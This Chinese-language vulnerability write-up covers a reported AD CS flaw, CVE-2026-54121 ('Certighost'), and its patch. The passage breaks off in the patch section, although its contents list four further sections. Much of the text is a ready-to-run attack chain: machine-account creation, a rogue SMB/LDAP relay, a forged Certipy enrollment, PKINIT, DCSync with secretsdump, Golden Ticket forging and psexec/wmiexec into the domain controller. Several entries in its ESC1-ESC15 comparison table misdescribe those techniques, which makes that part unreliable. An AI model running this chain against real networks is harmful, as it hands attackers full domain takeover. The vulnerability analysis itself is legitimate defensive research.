目录
- 1. 漏洞概述
- 2. 背景知识:AD CS 与 enrollment chase 回退机制
- 3. 漏洞根因:未经验证的 chase 目标
- 4. 完整攻击链七阶段详解
- 5. ASCII 攻击时序图与架构图
- 6. 工具实操:Certipy 与 DCSync
- 7. 与传统 ADCS 攻击 ESC1-ESC15 对比
- 8. 修复补丁深度分析
- 9. 临时缓解与检测
- 10. 影响范围与版本矩阵
- 11. 深层启示
- 12. 参考资料
1. 漏洞概述
2026 年 7 月补丁星期二中,微软修复了一个影响 Active Directory Certificate Services(AD CS)的高危授权缺陷——CVE-2026-54121,社区代号 Certighost。该漏洞由安全研究员 @h0j3n 和 @aniqfakhrul 发现并披露,技术细节于 2026 年 7 月 24 日公开,PoC 代码同步发布于 GitHub。
Certighost 的核心问题不在密码学、不在模板配置错误、也不在 NTLM relay 的传统套路,而是直击 AD CS enrollment 协议中一个被忽视了十余年的"回退"机制——chase 回退(chase fallback)。这个机制允许证书请求在 CA 无法直接获取终端实体信息时,由请求方"指路":告诉 CA 去哪台机器上查询该实体的身份。问题在于,CA 从不验证这条"指路"是否指向真正的域控制器。
最终结果是:一个只拥有最低域用户权限(甚至连机器账户都不需要预置)的攻击者,可以诱导 Enterprise CA 为任意域控制器签发身份证书,进而通过 PKINIT 认证为该 DC,执行 DCSync 抽取 krbtgt,铸造 Golden Ticket,完成全域接管。整条链路不需要域管凭据、不需要域控的本地访问、不需要提权,唯一的前提是网络上存在一台配置了默认 Machine 模板的 Enterprise CA。
漏洞核心属性表:
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-54121 |
| 社区代号 | Certighost |
| CVSS 评分 | 8.8(High) |
| 漏洞类型 | Improper Authorization(CWE-285) |
| 影响组件 | Active Directory Certificate Services(AD CS) |
| 关键二进制 | certpdef.dll(Policy Module) |
| 攻击向量 | 网络 / 域内横向 |
| 所需权限 | 任意低权限域账户 |
| 前置条件 | Enterprise CA + 默认 Machine 模板 + 网络可达 CA |
| 影响 | 冒充任意域控制器、DCSync、Golden Ticket、全域接管 |
| 发现者 | @h0j3n、@aniqfakhrul |
| 披露日期 | 2026-07-24 |
| 微软补丁 | 2026-07-14(7 月补丁星期二) |
| PoC | https://github.com/aniqfakhrul/CVE-2026-54121 |
为什么这个漏洞值得高度关注? 传统 ADCS 攻击谱系(ESC1 至 ESC15)几乎都围绕"模板配置错误"展开——SAN 滥用、低权限 ENROLLEE、EDITF_ATTRIBUTESUBJECTALTNAME2 标志位等。防御方据此形成了思维定式:"只要审计模板 ACL、关闭 SAN 标志、收紧 ENROLLEE 权限,AD CS 就是安全的。"Certighost 击碎了这个假设。即便所有模板配置完全合规、即便 Machine 模板以默认最严格姿态部署,只要 Enterprise CA 的 chase 回退路径未经验证,攻击者依然能借道 CA 把任意 DC 的身份"签"出来。这是一种协议设计层面的授权缺陷,而非配置错误,因此无法通过模板审计发现,也无法通过常规的 ADCS 安全基线消除。
2. 背景知识:AD CS 与 enrollment chase 回退机制
2.1 AD CS 与 Machine 模板
Active Directory Certificate Services 是微软在 Windows Server 上提供的 PKI 实现,承担企业内证书签发、撤销、CRL 发布等职责。在企业域环境中,AD CS 最常见的用途之一是为域内机器颁发身份证书——用于 802.1X、S/MIME、Kerberos PKINIT、设备认证等场景。
机器证书的签发依赖一个名为 Machine 的内置证书模板。该模板具备以下默认特征:
- Subject Name Source:
DNS name,即从 AD 中读取计算机对象的dNSHostName属性 - Subject Alt Name (SAN):无显式 SAN,主体名称即为 DNS 名
- Enrollment 权限:默认授予
Domain Computers组 - Authorized Signature Count:0(不要求签名计数)
- Certificate Name Flag:默认不包含
ENROLLEE_SUPPLIES_SUBJECT,即申请方不能自行指定 SAN
从模板配置角度看,Machine 模板是"干净"的:申请方不能任意填写 SAN,主体名称由 CA 从 AD 拉取。这也是为什么传统 ESC1 类漏洞对默认 Machine 模板无效——它根本不允许申请方控制证书主体。
2.2 enrollment 流程与终端实体解析
当一台域加入的机器向 Enterprise CA 申请 Machine 模板证书时,标准 enrollment 流程如下:
- 客户端通过 DCOM/RPC 连接 CA,提交
CertEnroll请求(ICertRequestD::Request) - CA 收到请求后,需要确定证书主体——即终端实体(end-entity)的身份信息
- CA 通过查询本地 Active Directory 来解析请求方对应的计算机对象,读取其
dNSHostName、objectSid、userAccountControl等属性 - CA 用解析到的信息填充证书
Subject与SubjectAltName - CA 校验申请方对该模板的 enrollment 权限,签发证书
整个解析过程依赖一个隐含前提:CA 所在的域控制器就是权威身份源。Enterprise CA 通常与域控分离部署,CA 通过 LDAP 查询域控获取对象信息。正常情况下,这台被查询的域控就是 CA 所在域的真正 DC。
2.3 chase 回退:被忽视的"指路"机制
然而,AD CS 的 enrollment 协议在工程实现上预留了一条回退路径——chase 回退。当 CA 由于网络问题、权限不足或对象缺失等原因无法通过常规 LDAP 查询获取终端实体信息时,协议允许请求方在请求中提供两个回退属性,告诉 CA "去哪里查":
cdc(Client DC):指向一台 AD 服务器(域控制器),CA 应该向这台机器发起 LDAP 查询rmd(Request Machine Domain):指向目标机器对象本身,CA 据此定位要查询的计算机账户
这两个属性嵌入在 ICertRequestD::Request 调用的请求字符串(request attributes)中,典型形式如下:
[RequestAttributes]
cdc=DC01.contoso.com
rmd=WKSTN01$
设计本意是好的:在跨域、跨站点、网络隔离等复杂场景下,CA 可能无法直接定位到正确的 DC 或目标机器对象,于是把"指路权"交给更知情的请求方。问题在于,CA 信任了请求方提供的 cdc 指针,却从未验证 cdc 指向的机器究竟是不是真正的域控制器。
这就是 Certighost 的命门。
3. 漏洞根因:未经验证的 chase 目标
3.1 设计假设的崩塌
chase 回退机制的设计基于一个核心假设:请求方是诚实的。换言之,设计者认为只有合法的域加入机器、合法的 enrollment 客户端才会发起带 cdc/rmd 属性的请求,它们提供的 cdc 必然指向真实 DC。
这个假设在以下三个层面崩塌:
- 任何域用户都能发起 enrollment 请求:低权限域账户通过
ms-DS-MachineAccountQuota(默认 10)即可创建机器账户,进而以"机器身份"发起 enrollment cdc可以指向任意主机:协议层面没有任何机制约束cdc必须解析到真实 DC,攻击者完全可以把它指向自己控制的主机- CA 不验证
cdc目标的 DC 身份:CA 拿到cdc后,会直接对它发起 SMB(445)和 LDAP(389)连接以"获取"终端实体信息,但完全不校验这台主机是否真是域控、是否持有SERVER_TRUST_ACCOUNT(userAccountControl 8192)标志
3.2 攻击者控制的服务器扮演了什么角色
当攻击者把 cdc 指向自己控制的主机后,CA 会主动出站连接这台主机。攻击者在这台主机上需要运行两个"伪造"服务:
- SMB 服务(445):伪装成正常 DC 的 SMB 端点,回应 CA 的 SMB 协商
- LDAP 服务(389):伪装成 AD 目录服务,回应对计算机对象的 LDAP 查询
但关键点在于:CA 在建立这两条连接后,并不会从 LDAP 上直接"读"出目标 DC 的身份属性就完事。CA 还需要做一次身份校验——确认发起 enrollment 的请求方确实是它声称的那台机器。这次校验通过 Netlogon 协议完成。
于是攻击者需要做一件更巧妙的事:把 CA 发起的认证 challenge 转发(relay)到真正的域控上。
3.3 认证 challenge 的 relay 链
具体来说,当 CA 通过 SMB 连接攻击者的伪造服务器时,CA 会发起一次 NTLM 或 Kerberos 认证(取决于协商结果)。攻击者的伪造 SMB 服务器不响应这次认证,而是把 challenge relay 到真实 DC 的 Netlogon 服务(端口 445/139 上的 NetrServerAuthenticate3 调用)。
注意:这里 relay 的目标不是任意 DC,而是攻击者想要冒充的那台目标 DC。真实 DC 在收到这次 Netlogon 调用后,会基于自身的计算机账户凭据完成认证协商,并返回自身的身份信息:
- 该 DC 的
objectSid - 该 DC 的
dNSHostName - 该 DC 的其他计算机账户属性
攻击者拿到这些信息后,把它们喂给自己控制的 LDAP 伪造服务。当 CA 接着发起 LDAP 查询"这台机器是谁"时,伪造 LDAP 服务返回目标 DC 的 objectSid 和 dNSHostName。
与此同时,攻击者用自己创建的机器账户(持有合法凭据)作为 enrollment 的实际发起方,提供合法的域身份校验通过。CA 看到的是:"请求方提供了合法凭据 + cdc 指向一台返回了 DC01 身份信息的服务器"——于是 CA 签发了一张主体为 DC01 的证书。
3.4 为什么 CA 不察觉
CA 之所以察觉不到异常,根因在于以下设计缺陷的叠加:
| 设计点 | 缺陷表现 |
|---|---|
cdc 属性信任 |
不校验 cdc 指向的主机是否为真实 DC |
| LDAP 来源信任 | 不校验 LDAP 响应是否来自真实 DC |
| 身份与请求方解耦 | enrollment 请求方身份校验与证书主体身份解析是两条独立路径,前者通过、后者伪造,CA 不交叉验证 |
objectSid 不绑定 |
证书签发时不强制要求 objectSid 与请求方 objectSid 严格相等 |
userAccountControl 不校验 |
不要求被签发的计算机对象必须包含 SERVER_TRUST_ACCOUNT(8192)标志才能签发 DC 类证书 |
只要这五个缺口同时存在,攻击者就能让 CA 为一台它根本不该为其签发 DC 身份证书的机器签发证书。这正是 certpdef.dll 在补丁前所呈现的状态。
4. 完整攻击链七阶段详解
Certighost 的完整利用链由七个阶段构成,从最卑微的域用户凭据出发,最终抵达全域接管。
阶段 1:创建/复用机器账户
攻击者仅需一个普通域用户账户(如 contoso\lowpriv)。利用 AD 默认赋予每个域用户的 ms-DS-MachineAccountQuota(默认值 10),攻击者可以创建最多 10 个机器账户而无需任何特权。
# 使用 Impacket 的 addcomputer 创建机器账户
addcomputer.py -computer-name 'ROGUE$' -computer-pass 'P@ssw0rd!' \
-dc-ip 10.0.0.10 contoso.com/lowpriv:Password123
# 或使用 Certipy(更推荐,原生支持后续链路)
certipy account create -u 'lowpriv@contoso.com' -p 'Password123' \
-dc-ip 10.0.0.10 -user 'ROGUE$'
成功后,攻击者拥有了一个名为 ROGUE$ 的机器账户,以及对应的凭据 ROGUE$:P@ssw0rd!。这个账户将用于:
- 作为 enrollment 的合法请求方
- 提供通过 CA 身份校验所需的合法域身份
阶段 2:启动 SMB 与 LDAP 监听器
攻击者在受控主机(可以是域内任意可达机器,甚至是域外主机,只要 CA 能路由到它)上启动两个伪造服务:
# 伪造 SMB 服务,监听 445
# 该服务不响应认证,而是将 challenge relay 到真实 DC
python3 rogue_smb.py --listen 0.0.0.0:445 \
--relay-target 10.0.0.10 \
--victim-dc DC01.contoso.com
# 伪造 LDAP 服务,监听 389
# 该服务等待 SMB relay 完成后,向 CA 返回目标 DC 的身份属性
python3 rogue_ldap.py --listen 0.0.0.0:389 \
--spoof-object "DC01$" \
--spoof-dnshostname "DC01.contoso.com"
实际 PoC 中,这两个服务由单一 Python 进程统一编排(详见 aniqfakhrul 的 GitHub 仓库),但逻辑上可以拆为这两步。伪造 LDAP 服务的关键是返回的内容必须包含真实 DC 的:
objectSid:DC01 计算机账户的 SIDdNSHostName:DC01.contoso.comsAMAccountName:DC01$
这些信息来自阶段 3 的 relay。
阶段 3:CA challenge relay 到真实 DC 的 Netlogon
当攻击者向 CA 提交 enrollment 请求(带 cdc=attacker.host 与 rmd=DC01$)后,CA 会主动连接攻击者的伪造服务器。CA 通过 SMB 连接时发起 NTLM 认证 challenge。
攻击者的伪造 SMB 服务器将这个 challenge relay 到真实 DC01 的 Netlogon 通道。Netlogon 协议中的 NetrServerAuthenticate3 调用会触发 DC01 用自身的计算机账户凭据完成认证响应。
relay 完成后,攻击者从 Netlogon 响应中提取出 DC01 的:
objectSid(DC01 计算机账户的 SID)dNSHostName- 部分 Netlogon 协商返回的账户属性
这些数据被回填到伪造 LDAP 服务的响应中,等待 CA 的下一次查询。
阶段 4:提交 cdc 与 rmd 属性触发 enrollment
攻击者使用阶段 1 创建的机器账户凭据,向 Enterprise CA 提交带 chase 属性的 enrollment 请求:
# 使用 Certipy 触发漏洞链(PoC 集成)
certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
-ca 'CORP-CA01-CA' -template 'Machine' \
-dc-ip 10.0.0.10 \
--cdc attacker.host.contoso.com \
--rmd 'DC01$'
--cdc 与 --rmd 是 Certipy PoC 分支新增的参数,对应底层 ICertRequestD::Request 调用中的 [RequestAttributes] 段。
CA 收到请求后的行为:
- 校验
ROGUE$凭据 → 通过(合法机器账户) - 校验
ROGUE$对Machine模板的 enrollment 权限 → 通过(默认Domain Computers组) - 解析终端实体身份 → 触发 chase 回退
- 读取
cdc=attacker.host.contoso.com→ 向 attacker.host 发起 SMB+LDAP 连接 - SMB challenge → 被 relay 到真实 DC01 → 拿到 DC01 的 objectSid/dNSHostName
- LDAP 查询 → 伪造服务返回 DC01 的身份属性
- 签发证书,主体为
DC01.contoso.com,SAN/Subject 包含 DC01 的 dNSHostName
阶段 5:获得 PFX 与 Kerberos 凭据缓存
CA 签发完成后,攻击者通过 enrollment 响应拿到证书。Certipy 会自动把证书导出为 PFX 文件,并写入 Kerberos 凭据缓存(ccache):
[*] Request ID: 0x1A3
[*] Successfully received certificate
[*] Certificate saved to: DC01.pfx
[*] Got Kerberos credentials cache: DC01.ccache
PFX 文件中包含一张由 Enterprise CA 签发的、主体为 DC01.contoso.com 的机器证书。这张证书在 PKI 层面完全合法——签名链有效、模板正确、CA 授权充分。唯一的问题是它的主体本不该是 DC01。
阶段 6:PKINIT 认证为目标 DC
PKINIT 是 Kerberos 协议的公钥扩展(RFC 4556),允许使用证书而非密码获取 TGT。Windows 域内 DC 默认支持 PKINIT,机器证书可作为计算机账户的身份凭据。
攻击者用拿到的 PFX 向 KDC(即某台真实 DC)发起 PKINIT AS-REQ,请求一张以 DC01$ 身份发起的 TGT:
# 使用 Certipy 的 auth 子命令通过 PKINIT 获取 TGT
certipy auth -pfx DC01.pfx -dc-ip 10.0.0.10 \
-username 'DC01$' -domain contoso.com
成功后,攻击者手中持有一张 以 DC01 计算机账户身份签发的 TGT。在 Kerberos 授权模型中,DC01 计算机账户在域内享有特权——它是域控,可以发起 DRSUAPI 复制调用。
阶段 7:DCSync 抽取 krbtgt → Golden Ticket → 全域接管
DCSync 是域内一项经典攻击技术,通过模拟域控的目录复制行为(DRSGetNCChanges RPC 调用)从其他 DC 拉取任意账户的哈希,包括 krbtgt。该调用要求调用方具备 Replicating Directory Changes / Replicating Directory Changes All 权限——通常只有 DC 计算机账户和域管拥有。
攻击者手中持有 DC01 的 TGT,于是直接执行 DCSync:
# 使用 Impacket 的 secretsdump 执行 DCSync
KRB5CCNAME=DC01.ccache secretsdump.py -k -no-pass \
-dc-ip 10.0.0.10 contoso.com/DC01\$@DC01.contoso.com
# 或使用 Certipy 的 sync 子命令
certipy sync -k -no-pass -dc-ip 10.0.0.10 \
-ccache DC01.ccache -domain contoso.com
输出中将包含 krbtgt 账户的 NTLM 哈希与 AES 密钥:
krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:aes256-cts-hmac-sha1-96:7e5c1...(截断)
拿到 krbtgt 后,攻击者可以铸造 Golden Ticket——一张以任意用户身份(包括域管 Administrator)签发、用 krbtgt 哈希加密的 TGT。该 TGT 在 krbtgt 密钥未轮换前永久有效:
# 使用 ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com -domain-sid S-1-5-21-... \
-nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
-spn krbtgt contoso.com/administrator
# 注入并访问域内任意资源
export KRB5CCNAME=administrator.ccache
smbexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com
至此,攻击者从一个最低权限域用户出发,仅借助一台配置默认 Machine 模板的 Enterprise CA,完成了全域接管。整条链路不需要域管凭据、不需要域控本地访问、不需要提权操作、不需要利用任何配置错误。
5. ASCII 攻击时序图与架构图
5.1 整体架构图
+-------------------+ +-------------------+ +-------------------+
| 攻击者主机 | | Enterprise CA | | 目标域控 DC01 |
| (低权限域用户) | | (certpdef.dll) | | (Netlogon/DRSUAPI)|
+-------------------+ +-------------------+ +-------------------+
| | | | | |
| 1.创建 ROGUE$ | | | | |
| 机器账户 | | | | |
| | | | | |
| 2.启动 rogue SMB | | | | |
| (445) + rogue | | | | |
| LDAP (389) | | | | |
| | | | | |
| 4.提交 enrollment | | | | |
| 请求带 cdc/rmd | -----> | 收到请求 | | |
| | | 校验 ROGUE$ 凭据 | | |
| | | 校验模板权限 | | |
| | | 触发 chase 回退 | | |
| | | | | |
| | <----- | 5.SMB 连接 cdc | | |
| | | (NTLM challenge)| | |
| | | | | |
| 3.relay challenge | | | | |
| 到 DC01 Netlogon| ----------------------------------> | NetrServerAuth3 |
| | | | <--- | 返回 DC01 的 |
| | | | | objectSid/ |
| | | | | dNSHostName |
| | | | | |
| | <----- | 6.LDAP 查询 | | |
| | | (查询 DC01$) | | |
| | | | | |
| 返回 DC01 身份 | -----> | | | |
| (objectSid/ | | 7.签发证书 | | |
| dNSHostName) | | 主体=DC01 | | |
| | | | | |
| 8.接收 PFX/ccache | <----- | | | |
| | | | | |
| 9.PKINIT 认证为 | | | | |
| DC01$ 获取 TGT | ---------------------------------> | KDC 验证证书 |
| | <--------------------------------- | 返回 DC01$ TGT |
| | | | | |
| 10.DRSGetNCChanges| | | | |
| (DCSync) | ---------------------------------> | 返回 krbbtgt 哈希 |
| | <--------------------------------- | krbtgt:31d6... |
| | | | | |
| 11.铸造 Golden | | | | |
| Ticket | | | | |
| 全域接管 | | | | |
+-------------------+ +-------------------+ +-------------------+
5.2 攻击时序图
攻击者 Rogue SMB(445) Rogue LDAP(389) Enterprise CA 真实 DC01
| | | | |
|--- 创建 ROGUE$ ---->| | | |
| (机器账户) | | | |
| | | | |
|--- 启动监听 -------->| | | |
| |<-- listen 445 --| | |
| | |<-- listen 389 --| |
| | | | |
|--- 提交 enrollment | | | |
| cdc=attacker | | | |
| rmd=DC01$ | | | |
|-----------------------------------------------------> | |
| | | | |
| | | |-- 校验 ROGUE$ |
| | | |-- 校验 Machine |
| | | | 模板权限 |
| | | |-- 触发 chase |
| | | | 回退 |
| | | | |
| | | |-- SMB 连接 ---->|
| | | | cdc 指向 |
| |<-- NTLM | | attacker.host |
| | challenge | | |
| | | | |
| |-- relay | | |
| | challenge | | |
| | 到 DC01 | | |
| |------------------------------------------------- >|
| | | | NetrServer |
| | | | Authenticate3 |
| |<------------------------------------------------- |
| | | | 返回 DC01 的 |
| | | | objectSid/ |
| | | | dNSHostName |
| | | | |
| | | |-- LDAP 查询 ---->|
| | | | DC01$ |
| | |<-- 查询请求 ----| |
| | | | |
| | |-- 返回 DC01 | |
| | | 身份属性 ---->| |
| | | | |
| | | |-- 签发证书 |
| | | | 主体=DC01 |
|<-------------------------------------------------------| |
| 返回 PFX + ccache | | | |
| | | | |
|--- PKINIT AS-REQ ---| | | |
| (用 PFX) | | | |
|---------------------------------------------------------------------> |
|<--------------------------------------------------------------------- |
| 返回 DC01$ 的 TGT | | | |
| | | | |
|--- DRSGetNCChanges -| | | |
| (DCSync) | | | |
|---------------------------------------------------------------------> |
|<--------------------------------------------------------------------- |
| 返回 krbtgt 哈希 | | | |
| | | | |
|=== 全域接管完成 === | | | |
| Golden Ticket | | | |
| | | | |
6. 工具实操:Certipy 与 DCSync
6.1 Certipy:ADCS 攻击瑞士军刀
Certipy 是目前最主流的 ADCS 攻击与审计工具,由 @ly4k 维护,Python 实现。CVE-2026-54121 的 PoC 也以 Certipy 扩展参数的形式发布。
安装:
pip install certipy-adc
# 或从源码安装 PoC 分支
git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121
pip install -e .
关键子命令:
| 子命令 | 用途 | 在 Certighost 链路中的角色 |
|---|---|---|
account create |
创建机器账户 | 阶段 1 |
req |
提交证书申请 | 阶段 4(带 --cdc/--rmd) |
auth |
用 PFX 通过 PKINIT 获取 TGT | 阶段 6 |
sync |
执行 DCSync | 阶段 7 |
find |
枚举 ADCS 配置 | 攻击前侦察 |
侦察阶段(寻找可用的 Enterprise CA 与 Machine 模板):
certipy find -u 'lowpriv@contoso.com' -p 'Password123' \
-dc-ip 10.0.0.10 -stdout
输出中需确认:
- 存在至少一台 Enterprise CA(
CA Name字段) Machine模板启用且Enabled为 TrueMachine模板的Permissions中Domain Computers拥有 Enrollment 权限
阶段 4 完整调用(PoC 核心):
certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
-ca 'CORP-CA01-CA' -template 'Machine' \
-dc-ip 10.0.0.10 \
--cdc attacker.host.contoso.com \
--rmd 'DC01$' \
--rogue-smb 0.0.0.0:445 \
--rogue-ldap 0.0.0.0:389 \
--relay-target DC01.contoso.com
PoC 分支会自动启动 rogue SMB 与 LDAP 监听器、提交 enrollment 请求、relay challenge、接收 PFX。一条命令完成阶段 1-5。
6.2 DCSync:从 TGT 到 krbtgt
DCSync 的底层是 MS-DRSR(Directory Replication Service Remote)协议中的 IDL_DRSGetNCChanges 调用。当一台 DC 向另一台 DC 请求目录复制时,调用方需要持有以下权限之一:
Replicating Directory ChangesReplicating Directory Changes AllReplicating Directory Changes In Filtered Set
DC 计算机账户默认拥有这些权限。攻击者持有 DC01 的 TGT 后,KDC 在签发 service ticket 时会附带 PAC,PAC 中包含 DC01 的组成员关系与权限信息。DRSUAPI 服务在校验调用方时读取 PAC,确认其具备复制权限,于是放行。
Impacket secretsdump 执行 DCSync:
# 使用 ccache(PKINIT 获取的 TGT)
export KRB5CCNAME=DC01.ccache
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
'contoso.com/DC01$@DC01.contoso.com'
# 仅抽取 krbtgt
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
-just-dc-user krbtgt \
'contoso.com/DC01$@DC01.contoso.com'
典型输出:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:7e5c1e3b8f9a2c4d...
krbtgt:aes128-cts-hmac-sha1-96:1f2a3b4c5d6e7f80...
[*] Cleaning up...
6.3 Golden Ticket 铸造与使用
拿到 krbtgt 哈希后,可铸造任意身份的 TGT:
# Impacket ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com \
-domain-sid S-1-5-21-1234567890-123456789-123456789 \
-nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
-user-id 500 -user-name administrator \
-groups 519 512 518 520 \
-duration 3650 \
administrator
# 使用 Golden Ticket 访问域控
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com
psexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com
Golden Ticket 默认有效期 10 年(-duration 3650),只要 krbtgt 密钥未轮换,该 TGT 永久有效,且可在域内任意服务上通过认证。
7. 与传统 ADCS 攻击 ESC1-ESC15 对比
ADCS 攻击谱系由 SpecterOps 在 2022 年的 Black Hat 演讲"Certified Pre-Owned"中系统化提出,按发现顺序编号 ESC1-ESC15。Certighost 在多个维度上与这些传统攻击有本质差异。
7.1 攻击谱系速览
| ESC 编号 | 漏洞本质 | 核心缺陷位置 |
|---|---|---|
| ESC1 | 模板允许 ENROLLEE_SUPPLIES_SUBJECT + 低权限可申请 | 模板配置 |
| ESC2 | 模板允许 Any Purpose / SubCA 用途 + 低权限可申请 | 模板配置 |
| ESC3 | 模板证书可作 EKU=Certificate Request Agent,间接申请 | 模板链 |
| ESC4 | 模板 ACL 允许低权限修改模板自身 | 模板 ACL |
| ESC5 | PKI 容器 ACL 弱,可修改 CA 配置 | AD 容器 ACL |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 全局标志 + SAN 注入 | CA 标志位 |
| ESC7 | CA ACL 允许低权限 Manage CA / Manage Certificates | CA ACL |
| ESC8 | NTLM relay 到 HTTP/HTTPS enrollment 端点 | 协议 relay |
| ESC9 | SubjectAltName + ESCB 链组合 | 主体解析 |
| ESC10 | 弱 SubjectAltName 校验(仅 dNSHostName) | 主体解析 |
| ESC11 | NTLM relay 到 RPC/DCOM enrollment(增强签名绕过) | 协议 relay |
| ESC12 | 证书模板引用外部 UPN/SPN 注入 | 模板引用 |
| ESC13 | 模板绑定的组策略 EKU 导致权限放大 | 模板 EKU |
| ESC14 | NTLM relay + 弱域名匹配 | 主体解析 |
| ESC15 | 模板 v3/v4 EKU 解析差异 | 模板版本 |
7.2 Certighost 与 ESC1-ESC15 的关键差异
| 对比维度 | ESC1-ESC15(传统) | Certighost(CVE-2026-54121) |
|---|---|---|
| 缺陷类别 | 模板配置错误 / ACL 弱 / relay 滥用 | 协议设计层授权缺陷 |
| 触发位置 | 模板属性、CA 标志、CA ACL、enrollment 端点 | chase 回退路径 |
| 是否需要配置错误 | 是(某项配置偏离安全基线) | 否(默认配置即可触发) |
Machine 默认模板是否受影响 |
否(ESC1 要求 SAN,Machine 不允许) |
是 |
| 是否需要 relay 中间人 | ESC8/ESC11 需要,其他不需要 | 需要(relay 到 DC Netlogon) |
| relay 目标 | enrollment 端点(HTTP/RPC) | DC Netlogon(提取 DC 身份) |
| 可签发主体范围 | 取决于模板 SAN 配置 | 任意域控制器 |
| 最终危害 | 通常冒充单台高权限账户 | 直接冒充 DC,DCSync 全域 |
| 检测难度 | 中(模板审计可发现) | 高(默认配置,审计不可见) |
| 修复方式 | 修改模板配置 / CA 标志 / ACL | 微软补丁 + 临时禁用 chase 标志 |
| 是否需要域管修复 | 否(模板管理员即可) | 否(但需打补丁或重启 CertSvc) |
| 攻防成熟度 | 高(工具链完整、防御基线成熟) | 新(防御基线缺失) |
7.3 关键洞察
从上表可以提炼出三个关键洞察:
第一,Certighost 是协议级缺陷,而非配置级缺陷。 ESC1-ESC15 中没有任何一个能在"完全合规的默认配置"下触发。ESC1 要求管理员主动开启 ENROLLEE_SUPPLIES_SUBJECT;ESC6 要求管理员主动设置 EDITF_ATTRIBUTESUBJECTALTNAME2。这些缺陷的"可触发"前提本身就是"配置错误"。而 Certighost 不需要任何配置错误——默认 Machine 模板、默认 Enterprise CA 部署、默认 chase 回退行为,三者叠加即可被利用。
第二,Certighost 直接以 DC 为目标,跳过了传统 ADCS 攻击的"中间层"。 传统 ADCS 攻击即便成功,签出的证书主体通常是某个高权限用户(如域管),攻击者拿到该用户证书后还需进一步横向移动才能抵达 DCSync。Certighost 让 CA 直接为 DC01 签发证书,攻击者一步到位获得 DC 身份,DCSync 触手可及。
第三,传统 ADCS 安全基线对 Certighost 完全无效。 当前业界主流的 ADCS 安全基线(如微软 PKI 部署指南、SpecterOps 的 ADCS 审计清单)核心建议是:审计模板 ACL、关闭 SAN 标志、限制 ENROLTEE 权限、关闭 HTTP enrollment 端点。这些建议对 ESC1-ESC15 有效,但对 Certighost 完全无效——因为 Certighost 根本不依赖这些配置项。这是 Certighost 最危险的属性:它绕过了防御方已经建立的全部 ADCS 防御认知。
8. 修复补丁深度分析
8.1 补丁位置
微软在 2026 年 7 月补丁中为 certpdef.dll(Certificate Server Policy Module)添加了一个全新的校验函数:CRequestInstance::_ValidateChaseTargetIsDC。该函数在 chase 回退路径执行 LDAP 查询之前被调用,对 cdc 指向的目标进行严格校验。
8.2 校验内容
_ValidateChaseTargetIsDC 实施了五层校验:
| 校验层 | 内容 | 防御目标 |
|---|---|---|
| 1. 拒绝 IP 字面量 | cdc 不能是 IPv4/IPv6 地址,必须是 DNS 名称 |
阻止攻击者用临时 IP 指向 rogue 服务器 |
| 2. 拒绝过长名称 | cdc 长度不得超过 DNS 名称合理上限(255 字节) |
防止缓冲区相关的边缘利用 |
| 3. 拒绝 LDAP 元字符 | cdc 不得包含 *、(、)、\、/、NUL 等 |
防止 LDAP 注入与路径穿越 |
| 4. 精确匹配一个 AD 计算机对象 | cdc 解析到的 DNS 名称必须对应唯一的 AD 计算机对象,且该对象的 dNSHostName 必须精确匹配(非子串匹配) |
防止对象模糊解析 |
| 5. userAccountControl 含 SERVER_TRUST_ACCOUNT | 匹配到的计算机对象的 userAccountControl 必须包含 SERVER_TRUST_ACCOUNT(0x2000 = 8192)标志 |
核心校验:确保 cdc 指向的确实是域控制器 |
SERVER_TRUST_ACCOUNT(8192)是 Windows 域中专门标记域控计算机账户的标志位。普通机器账户的 userAccountControl 通常为 4096(WORKSTATION_TRUST_ACCOUNT),只有 DC 才会包含 8192。补丁强制要求 cdc 目标必须具备该标志,从根本上杜绝了"任意主机冒充 DC"的可能。
8.3 SID 比较阻止对象替换
除了 _ValidateChaseTargetIsDC,补丁还在证书签发的最终阶段增加了 SID 一致性校验:
- 记录 chase 路径返回的计算机对象
objectSid(来自 LDAP 查询) - 记录 enrollment 请求方实际持有的
objectSid(来自认证上下文) - 签发前校验两者是否相等,或请求方是否对目标对象具备合法授权
这一层校验防止了攻击者用 ROGUE$ 的合法凭据通过认证、却让 LDAP 伪造服务返回 DC01 的 objectSid 的"对象替换"攻击。即便攻击者绕过了前面的 chase 目标校验(例如通过某种 LDAP 投毒让真实 DC 返回错误对象),最终签名时也会因 SID 不一致被拒绝。
8.4 补丁前后行为对比
=== 补丁前 ===
CA 收到 enrollment 请求
|- 校验请求方凭据 (ROGUE$) -> OK
|- 校验模板权限 -> OK
|- 解析终端实体
|- 触发 chase 回退
|- 读取 cdc=attacker.host
|- 连接 attacker.host SMB+LDAP [无任何校验]
|- 拿到 objectSid/dNSHostName
|- 签发证书 (主体=DC01) [无 SID 一致性校验]
|- 返回 PFX
=== 补丁后 ===
CA 收到 enrollment 请求
|- 校验请求方凭据 (ROGUE$) -> OK
|- 校验模板权限 -> OK
|- 解析终端实体
|- 触发 chase 回退
|- 读取 cdc=attacker.host
|- _ValidateChaseTargetIsDC(cdc)
|- 检查 IP 字面量 -> 拒绝 (attacker.host 是 DNS 名,继续)
|- 检查长度 -> OK
|- 检查 LDAP 元字符 -> OK
|- LDAP 查询 AD 中 dNSHostName=attacker.host 的对象
|- 查询结果: 0 个对象 -> 拒绝 (非域内计算机)
